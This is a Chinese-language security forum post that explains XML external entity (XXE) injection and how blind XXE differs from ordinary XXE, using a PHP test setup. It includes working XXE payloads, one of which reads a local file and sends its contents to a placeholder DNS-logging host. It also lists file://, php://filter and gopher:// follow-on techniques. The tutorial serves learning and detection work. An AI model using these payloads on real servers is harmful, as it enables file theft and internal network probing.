HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

XXE被提起时我们会想到什么

  •   djg222000 ·2018-2-3 08:27:25·397 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    0x00
    XXE(XML实体注入漏洞)顾名思义,漏洞的关键点在于服务器对外部实体的解析。外部实体中可以请求他域资源,所以很多人在漏洞利用时会习惯的把XXE问题转换成SSRF的问题。前几天别人问我一个有趣的问题:Blind XXE和普通XXE本质区别是什么。
    仔细想了想觉得难以回答,由于类似于cloudeye的使用DNS泛析和URL请求记录是可以查看命令执行结果的,大家通常不会在意漏洞点程序是否预设了回显或者可以使用报错得到回显。所以找了一些资料,记录一下上面问题的答案和也顺便记录一下XXE漏洞形成的原因。
    0x01
    首先要搞清楚的是XML外部实体的概念。一般容易误以为外部是自己定义的意思,事实上外部实体是指实体的参数内容不是当前XML定义的而是从其他资源引入的,用SYSTEM和PUBLIC来申明,也就是我们常在XXE payload里面看到的样子。
    <!DOCTYPE ANY [<!ENTITY hello SYSTEM "http://%xx.xxx.yourcloudeye.xxx/%xx">]>
    如果在外界可控的 web代码和xml的交互点 可以插入我们定义的xml实体并被服务器解析,这样就造成了一个XXE漏洞(这句话写了很多遍还是觉得难读通顺,用SQLi类推一下就比较好理解了)。以php为例搭了一个测试环境。
    首先浏览器是可以解析XML的,当然,是没有权限解析外部实体的(不然url链接没人敢点了)。开始在lamp下搭发现的www用户解析外部实体权限也不够,于是在wamp环境给apache sa权限测试。下面是php使用simplexml_load_file解析xml文件代码。
    <?phpif (file_exists('b.xml')) { $xml = simplexml_load_file('b.xml'); var_dump($xml);} else { exit('Failed to open b.xml.');}?>
    xxetest.php把b.xml的内容解析后输出一个SimpleXMLElement对象,供其他函数使用xml中各个节点的值。我们可以在平台上看到解析外部实体发送的请求。剩下的利用就比较直观了,在请求资源时使用http://端口探测或带上内网攻击向量;file://或者php://filter等读取文件;gopher://发送复杂请求等等。
    0x02
    回到Blind XXE的问题,仔细看b.xml可以发现,在开始定义了hello这个实体后,节点中引入了一个 &hello;。如果请求的资源存在,则可以在节点中看到hello的值,这就是有返回的XXE雏形。对b.xml稍作修改,使用file协议读取本地文件,结果如下图。
    所以如果xml文件没有在节点中使用这个实体,或者节点中使用了&hello;而可执行文件没有把值在response中返回的情况就属于Blind XXE。
    如果进行端口探测等操作可以直接参考SSRF利用时间差来完成,如果要接收回显的话,也可以用实体嵌套来完成。如果xml解析器不支持嵌套定义有可以把gethello内容写在外部xml中再引用进来有时候可以绕过。
    也有把hello的值作为参数传给自己服务器上的php中然后保存成文件的,原理差不多,但是没有DNS解析平台简洁直观。
    <!DOCTYPE root [ <!ENTITY % hello "file:///c:/1.txt"> <!ENTITY % gethello SYSTEM "http://xxx.yourcloudeye.xxx/%hello;">%gethello; ]>0x03
    对XXE的总结就差不多到这里了,如果说Blind XXE和XXE有什么区别的话,大概是Blind会让只从返回判断比较头疼吧。其实,写批量检测规则可以参考盲打XSS的方式结合DNS泛析记录平台来实现。从利用、检测以及写成自动化工具等方面都可以感觉到:Blind XXE不盲。
    之前SSRF文章的坑也准备填上了,2准备把归纳的一些gopher构造方法,一些内网ip限制绕过策略,以及打造自己的SSRF自动化探测脚本三个方面总结一下。最近发现自己关于python底层和python程序优化相关的比较弱,想学习一下,有好的资料请推荐给我嘛~~
    0x04
    参考链接:
    http://www.php.net/manual/zh/refs.xml.php
    http://blog.sina.com.cn/s/blog_605f5b4f0100ir4c.html
    https://security.tencent.com/index.php/blog/msg/69
    https://www.91ri.org/9539.html

    397 次点击  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   225 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-5-22 10:18, Processed in 0.045780 second(s), 18 queries .